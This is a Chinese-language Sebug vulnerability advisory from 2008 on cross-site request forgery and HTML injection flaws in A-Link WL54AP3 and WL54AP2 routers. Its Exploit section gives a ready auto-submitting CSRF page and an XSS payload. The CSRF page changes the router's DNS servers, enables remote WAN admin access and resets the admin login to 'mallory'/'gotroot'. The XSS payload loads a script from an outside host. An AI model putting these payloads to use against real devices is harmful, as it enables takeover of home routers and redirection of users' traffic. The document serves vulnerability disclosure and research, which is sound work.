A-Link WL54AP3和WL54AP2跨站请求伪造和HTML注入漏洞

Published:2008-10-31

Vulnerable:

A-Link WL54AP3
A-Link WL54AP2

Discription:

BUGTRAQ ID: 32008

A-Link WL54AP3和WL54AP2都是54M的无线宽带路由器。

WL54AP3和WL54AP2路由器没有正确的验证HTTP请求的来源，如果用户受骗查看了恶意网页或跟随了恶意链接的话，就可能导致跨站请求伪造或跨站脚本攻击。

成功攻击要求攻击者知道目标设备的管理接口地址（默认IP地址为192.168.1.254）。由于管理页面没有注销功能，及时已经关闭了包含有管理界面的标签页，只要没有关闭浏览器窗口或清除cookie，用户仍受这种攻击的影响。

SEBUG Solution:

A-Link
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.a-link.com/

Exploit:

[www.sebug.net]
The following procedures (methods) may contain something offensive，they are only for security researches and teaching , at your own risk!

跨站请求伪造

   <html>
   <body onload="document.wan.submit(); document.password.submit()">
   <form action="http://192.168.1.254/goform/formWanTcpipSetup"
    method="post" name="wan">
   <input type="hidden" value="dnsManual" name="dnsMode" checked>
   <input type="hidden" name="dns1" value="216.239.32.10">
   <input type="hidden" name="dns2" value="216.239.32.10">
   <input type="hidden" name="dns3" value="216.239.32.10">
   <input type="hidden" name="webWanAccess" value="ON"
    checked="checked">
   </form>
   <form action="http://192.168.1.254/goform/formPasswordSetup"
    method="post" name="password">
   <input type="hidden" name="username" value="mallory">
   <input type="hidden" name="newpass" value="gotroot">
   <input type="hidden" name="confpass" value="gotroot">
   </form>
   </body>
   </html>

跨站脚本

   ""><script src="http://l7.fi"></script><p

// Sebug.net [ 2008-11-17 ]